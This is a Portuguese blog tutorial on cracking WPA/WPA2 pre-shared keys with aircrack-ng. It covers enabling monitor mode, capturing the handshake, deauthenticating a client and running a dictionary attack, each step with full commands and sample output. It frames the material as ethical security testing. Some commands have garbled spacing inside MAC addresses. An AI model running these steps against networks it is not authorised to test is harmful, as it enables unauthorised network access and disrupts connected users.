Cracking WPA com Aircrack-ng

Publicado por Igor Matsunaga em

Introdução

Neste tutorial você aprenderá como crackear redes WPA / WPA2 que usam chaves pré-compartilhadas. Eu recomendo a leitura do artigo sobre aircrack-ng antes de começar os seus testes.

O WPA / WPA2 suporta muitos tipos de autenticação além das chaves pré-compartilhadas.O aircrack-ng só pode quebrar chaves pré-compartilhadas. Portanto, certifique-se de que o airodump-ng mostre a rede como tendo o tipo de autenticação PSK, caso contrário, não se preocupe em tentar decifrá-la.

Uma outra diferença importante entre crackear WPA / WPA2 e WEP.

Ao contrário do WEP, onde métodos estatísticos podem ser usados ​​para acelerar o processo de craqueamento, apenas técnicas de força bruta simples podem ser usadas contra o WPA / WPA2. Isto é, porque a chave não é estática, portanto, a coleta de IVs, como o craqueamento da criptografia WEP, não acelera o ataque. A única coisa que fornece as informações para iniciar um ataque é o aperto de mão entre o cliente e o AP. Handshaking é feito quando o cliente se conecta à rede. Embora não seja absolutamente verdade, para os propósitos deste tutorial, considere verdadeiro. Como a chave pré-compartilhada pode ter de 8 a 63 caracteres, torna-se efetivamente impossível quebrar a chave pré-compartilhada.

Se você deseja ter uma rede sem fio inquebrável em casa, use WPA / WPA2 e uma senha de 63 caracteres composta de caracteres aleatórios, incluindo símbolos especiais.

O impacto de ter que usar uma abordagem de força bruta é substancial. Como é muito intensivo em computação, um computador só pode testar 50 a 300 chaves possíveis por segundo, dependendo da CPU do computador. Pode levar horas, se não dias, para processar um dicionário grande. Se você está pensando em gerar sua própria lista de senhas para cobrir todas as permutações e combinações de caracteres e símbolos especiais, confira primeiro esta calculadora de tempo de força bruta . Você ficará muito surpreso com quanto tempo é necessário. 

Importante

Não há diferença entre o cracking de redes WPA ou WPA2. A metodologia de autenticação é basicamente a mesma entre eles. Então as técnicas que você se utilizará são idênticas.

É recomendável que você experimente seu teste em um ponto de acesso sem fio doméstico para se familiarizar com essas ideias e técnicas. Se você não possui um determinado ponto de aceso, lembre-se de obter permissão do proprietário antes de iniciar qualquer teste de intrusão.

Visão Geral do Ataque

O objetivo é capturar o handshake de autenticação WPA / WPA2 e usar o aircrack-ng para quebrar a chave pré-compartilhada.

Isso pode ser feito ativamente ou passivamente. “Ativamente” significa que você acelerará o processo, autenticando um cliente sem fio existente. “Passivamente” significa que você simplesmente espera que um cliente sem fio se autentique na rede WPA / WPA2. A vantagem do passive é que você não precisa realmente de capacidade de injeção e, portanto, a versão do Aircrack-ng para Windows pode ser usada.

Aqui estão os passos básicos que iremos seguir:

  1. Inicie a interface sem fio no modo monitor no canal AP específico
  2. Inicie o airodump-ng no canal AP com filtro para bssid para coletar o handshake de autenticação
  3. Use aireplay-ng para autenticar o cliente sem fio
  4. Execute o aircrack-ng para quebrar a chave pré-compartilhada usando o handshake de autenticação

Inicie a interface sem fio no modo monitor

O objetivo desta etapa é colocar seu cartão no que é chamado de modo monitor. Modo Monitor é o modo pelo qual seu cartão pode ouvir todos os pacotes no ar. Normalmente, seu cartão só “ouvirá” os pacotes endereçados a você. Ao ouvir cada pacote, podemos posteriormente capturar o handshake de 4 vias WPA / WPA2. Além disso, nos permitirá, opcionalmente, autenticar um cliente sem fio em uma etapa posterior.

O procedimento exato para ativar o modo monitor varia dependendo do driver que você está usando. Para determinar o driver (e o procedimento correto a seguir), execute o seguinte comando:

 airmon-ng

Em uma máquina com um Ralink, um Atheros e uma placa wireless Broadcom instalados, o sistema responderá:

 Driver de Chipset de Interface
 
 rausb0 Ralink RT73 rt73
 wlan0 Broadcom b43 - [phy0]
 wifi0 Atheros madwifi-ng
 ath0 Atheros madwifi-ng VAP (pai: wifi0)

A presença de uma tag [phy0] no final do nome do driver é um indicador para o mac80211, portanto, a placa Broadcom está usando um driver mac80211. Note que o mac80211 é suportado apenas desde o aircrack-ng v1.0-rc1, e não funcionará com v0.9.1. Ambas as entradas do cartão Atheros mostram “madwifi-ng” como o driver – siga as etapas específicas do madwifi-ng para configurar o cartão Atheros. Finalmente, o Ralink não mostra nenhum desses indicadores, então está usando um driver ieee80211 – veja as instruções genéricas para configurá-lo.

Passo 1a – Configurando o madwifi-ng

Primeiro pare ath0 inserindo:

 airmon-ng stop ath0   

O sistema responde:

Interface       Chipset         Driver
 
 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)

Digite “iwconfig” para garantir que não haja outras interfaces athX. Deve ser semelhante a isto:

 lo        no wireless extensions.
 
 eth0      no wireless extensions.
 
 wifi0     no wireless extensions.

Se houver alguma interface athX restante, pare cada uma delas. Quando terminar, execute “iwconfig” para garantir que não haja mais nenhum.

Agora, digite o seguinte comando para iniciar a placa wireless no canal 9 no modo monitor:

 airmon-ng start wifi0 9

Nota: Neste comando, usamos “wifi0” em vez de nossa interface sem fio “ath0”. Isso ocorre porque os drivers madwifi-ng estão sendo usados.

O sistema responderá:

Interface       Chipset         Driver
 
 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

Você notará que “ath0” é relatado acima como sendo colocado no modo monitor.

Para confirmar se a interface está configurada corretamente, digite “iwconfig”.

O sistema responderá:

 lo        no wireless extensions.
 
 wifi0     no wireless extensions.
 
 eth0      no wireless extensions.
 
 ath0      IEEE 802.11g  ESSID:""  Nickname:""
        Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:0F:B5:88:AC:82   
        Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=0/3  
        Retry:off   RTS thr:off   Fragment thr:off
        Encryption key:off
        Power Management:off
        Link Quality=0/94  Signal level=-95 dBm  Noise level=-95 dBm
        Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
        Tx excessive retries:0  Invalid misc:0   Missed beacon:0

Na resposta acima, você pode ver que ath0 está no modo monitor, na frequência 2.452GHz que é o canal 9 e o Access Point mostra o endereço MAC da sua placa wireless. Apenas os drivers madwifi-ng mostram o endereço MAC do cartão no campo AP, outros drivers não. Então tudo está bem. É importante confirmar todas essas informações antes de continuar, caso contrário, as etapas a seguir não funcionarão corretamente.

Passo 1b – Configurando os drivers mac80211

Ao contrário do madwifi-ng, você não precisa remover a interface wlan0 ao configurar drivers mac80211. Em vez disso, use o seguinte comando para configurar sua placa no modo monitor no canal 9:

 airmon-ng start wlan0 9

O sistema responde:

 Interface       Chipset         Driver
 
 wlan0           Broadcom        b43 - [phy0]
                                 (monitor mode enabled on mon0)

Observe que o airmon-ng ativou o monitor-mode no mon0 . Portanto, o nome da interface correta a ser usada em partes posteriores do tutorial é mon0. O Wlan0 ainda está no modo regular (gerenciado) e pode ser usado como de costume, desde que o AP ao qual o wlan0 está conectado esteja no mesmo canal que o AP que você está atacando e você não esteja realizando nenhum salto de canal.

Para confirmar a configuração bem sucedida, execute o “iwconfig”. A seguinte saída deve aparecer:

 lo        no wireless extensions.
eth0      no wireless extensions.
 
 wmaster0  no wireless extensions.
 
 wlan0     IEEE 802.11bg  ESSID:""
           Mode:Managed  Frequency:2.452 GHz  Access Point: Not-Associated
           Tx-Power=0 dBm
           Retry min limit:7   RTS thr:off   Fragment thr=2352 B
           Encryption key:off
           Power Management:off
           Link Quality:0  Signal level:0  Noise level:0
           Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
           Tx excessive retries:0  Invalid misc:0   Missed beacon:0
 
 mon0      IEEE 802.11bg  Mode:Monitor  Frequency:2.452 GHz  Tx-Power=0 dBm
           Retry min limit:7   RTS thr:off   Fragment thr=2352 B
           Encryption key:off
           Power Management:off
           Link Quality:0  Signal level:0  Noise level:0
           Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
           Tx excessive retries:0  Invalid misc:0   Missed beacon:0

Aqui, mon0 é visto no modo monitor, no canal 9 (2.452GHz). Ao contrário do madwifi-ng, a interface do monitor não possui nenhum campo de Ponto de Acesso. Observe também que wlan0 ainda está presente e no modo gerenciado – isso é normal. Como ambas as interfaces compartilham um rádio comum, elas devem sempre ser sintonizadas no mesmo canal – mudar o canal em uma interface também muda de canal na outra.

Etapa 1c – Configurando outros drivers

Para outros drivers (baseados no ieee80211), simplesmente execute o seguinte comando para ativar o modo monitor (substitua rausb0 pelo nome da sua interface):

 airmon-ng start rausb0 9

O sistema responde:

 Interface       Chipset         Driver
 
 rausb0          Ralink          rt73 (monitor mode enabled)

Neste ponto, a interface deve estar pronta para uso.

Etapa 2 – Iniciar o airodump-ng para coletar o handshake de autenticação

O objetivo desta etapa é executar o airodump-ng para capturar o handshake de autenticação de 4 direções para o AP no qual estamos interessados.

Entrar:

 airodump-ng -c 9 --bssid 00: 14: 6C: 7E: 40: 80 -w psk ath0

Onde:

  • -c 9 é o canal para a rede sem fio
  • – -bssid 00: 14: 6C: 7E: 40: 80 é o endereço MAC do ponto de acesso. Isso elimina o tráfego estranho.
  • -w psk é o prefixo do nome do arquivo para o arquivo que conterá os IVs.
  • ath0 é o nome da interface.

Importante: NÃO use a opção “–iv”. Você deve capturar os pacotes completos.

Saida do handshake :

  CH  9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00:14:6C:7E:40:80
                                                                                                               
  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                                               
  00:14:6C:7E:40:80   39 100       51      116   14   9  54  WPA2 CCMP   PSK  teddy                           
                                                                                                               
  BSSID              STATION            PWR  Lost  Packets  Probes                                             
                                                                                                               
  00:14:6C:7E:40:80  00:0F:B5:FD:FB:C2   35     0      116  

Na tela acima, observe o “handshake WPA: 00: 14: 6C: 7E: 40: 80” no canto superior direito. Isso significa que o airodump-ng capturou com sucesso o handshake de quatro vias.

Aqui está sem clientes sem fio conectados:

  CH  9 ][ Elapsed: 4 s ][ 2007-03-24 17:51 
                                                                                                               
  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                                               
  00:14:6C:7E:40:80   39 100       51        0    0   9  54  WPA2 CCMP   PSK  teddy                           
                                                                                                               
  BSSID              STATION            PWR  Lost  Packets  Probes     

Sugestão de resolução de problemas

Consulte a seção Dicas de solução de problemas abaixo para obter ideias.

Para ver se você capturou algum pacote de handshake, existem duas maneiras. Assista à tela do airodump-ng para “WPA handshake: 00: 14: 6C: 7E: 40: 80” no canto superior direito. Isso significa que um handshake de quatro vias foi capturado com sucesso. Veja logo acima para uma captura de tela de exemplo.

Use o Wireshark e aplique um filtro de “eapol”. Isso exibe apenas os pacotes da eapol nos quais você está interessado. Assim, você pode ver se a captura contém pacotes de 0,1,2,3 ou 4 eapol.

Passo 3 – Use aireplay-ng para autenticar o cliente sem fio

Este passo é opcional. Se você é paciente, pode esperar até que o airodump-ng capture um aperto de mão quando um ou mais clientes se conectarem ao AP. Você só executa essa etapa se optou por acelerar ativamente o processo. A outra restrição é que deve haver um cliente sem fio atualmente associado ao AP. Se não houver um cliente sem fio atualmente associado ao ponto de acesso, será necessário ter paciência e esperar que um deles se conecte ao ponto de acesso para que um handshake possa ser capturado. Escusado será dizer que, se um cliente sem fio aparecer mais tarde e o airodump-ng não capturar o handshake, você poderá voltar atrás e executar essa etapa.

Esta etapa envia uma mensagem para o cliente sem fio dizendo que ele não está mais associado ao AP. O cliente sem fio, então, espera reautenticar com o AP. A reautenticação é o que gera o handshake de autenticação de 4 vias que estamos interessados ​​em coletar. Isto é o que usamos para quebrar a chave pré-compartilhada WPA / WPA2.

Com base na saída do airodump-ng na etapa anterior, você determina um cliente que está conectado no momento. Você precisa do endereço MAC para o seguinte. Abra outra sessão de console e digite:

 aireplay-ng -0 1 -a 00: 14: 6C: 7E: 40: 80 -c 00: 0F: B5: FD: FB: C2 ath0

Onde:

  • -0 significa desautorização
  • 1 é o número de deauths a enviar (você pode enviar vários se desejar)
  • -a 00: 14: 6C: 7E: 40: 80 é o endereço MAC do ponto de acesso
  • -c 00: 0F: B5: FD: FB: C2 é o endereço MAC do cliente que você está consultando
  • ath0 é o nome da interface

Aqui está o que a saída parecerá:

 11:09:28  Sending DeAuth to station   -- STMAC: [00:0F:B5:34:30:30]

Com sorte, isso faz com que o cliente reautentique e produza o handshake de quatro vias.

Dicas de soluções de problemas

  • Os pacotes de desautenticação são enviados diretamente do seu PC para os clientes. Portanto, você deve estar fisicamente perto o suficiente dos clientes para as transmissões de sua placa sem fio para alcançá-los. Para confirmar que o cliente recebeu os pacotes de desautenticação, use o tcpdump ou similar para procurar pacotes ACK de volta do cliente. Se você não obteve um pacote ACK de volta, o cliente não “ouviu” o pacote de desautenticação. Utilizar um adaptador WiFi pode ajudar nesse processo. 

Passo 4 – Execute aircrack-ng para quebrar a chave pré-compartilhada

O objetivo desta etapa é quebrar a chave pré-compartilhada WPA / WPA2. Para fazer isso, você precisa de um dicionário de palavras como entrada. Basicamente, aircrack-ng pega cada palavra e testa para ver se esta é de fato a chave pré-compartilhada.

Existe um pequeno dicionário que vem com aircrack-ng – “password.lst”. Este arquivo pode ser encontrado no diretório “test” do código-fonte do aircrack-ng. O Wiki FAQ tem uma extensa lista de fontes de dicionário. Você pode usar o John the Ripper (JTR) para gerar sua própria lista e enviá-la para o aircrack-ng ou utilizar o Crunch.

Abra outra sessão de console e digite:

aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap

Onde:

  • -w password.lst é o nome do arquivo do dicionário. Lembre-se de especificar o caminho completo se o arquivo não estiver localizado no mesmo diretório.
  • * .cap é o nome do grupo de arquivos que contém os pacotes capturados. Observe, neste caso, que usamos o caractere curinga * para incluir vários arquivos.

Aqui está a saída típica quando não há handshakes encontrados:

 Opening psk-01.cap
 Opening psk-02.cap
 Opening psk-03.cap
 Opening psk-04.cap
 Read 1827 packets.

 No valid WPA handshakes found.

Quando isso acontece, você precisa refazer a etapa 3 (para não autenticar o cliente sem fio) ou esperar mais tempo se estiver usando a abordagem passiva. Ao usar a abordagem passiva, você deve aguardar até que um cliente sem fio se autentique no AP.

Aqui está a saída típica quando os handshakes são encontrados:

 Opening psk-01.cap
 Opening psk-02.cap
 Opening psk-03.cap
 Opening psk-04.cap
 Read 1827 packets.
 
 #  BSSID              ESSID                     Encryption

 1  00:14:6C:7E:40:80  teddy                     WPA (1 handshake)
 
 Choosing first network as target.

Agora, neste ponto, o aircrack-ng começará a tentar quebrar a chave pré-compartilhada. Dependendo da velocidade do seu processador e do tamanho do dicionário, isso pode levar muito tempo, até mesmo dias.

Aqui está o que quebra a chave pré-compartilhada com sucesso:

                               Aircrack-ng 0.8
 
 
                 [00:00:00] 2 keys tested (37.20 k/s)
 
 
                         KEY FOUND! [ 12345678 ]
 
 
    Master Key     : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E 
                     B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD 
 
    Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98 
                     CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40 
                     FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E 
                     2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71 
 
    EAPOL HMAC     : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB 

Que a segurança esteja com você!

Fonte: aircrack-ng


Igor Matsunaga

Diretor Técnico da NSWorld, entusiasta da área hacking a mais de 6 anos, hacker ético, formando em Segurança da Informação.

0 comentário

Deixe uma resposta

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *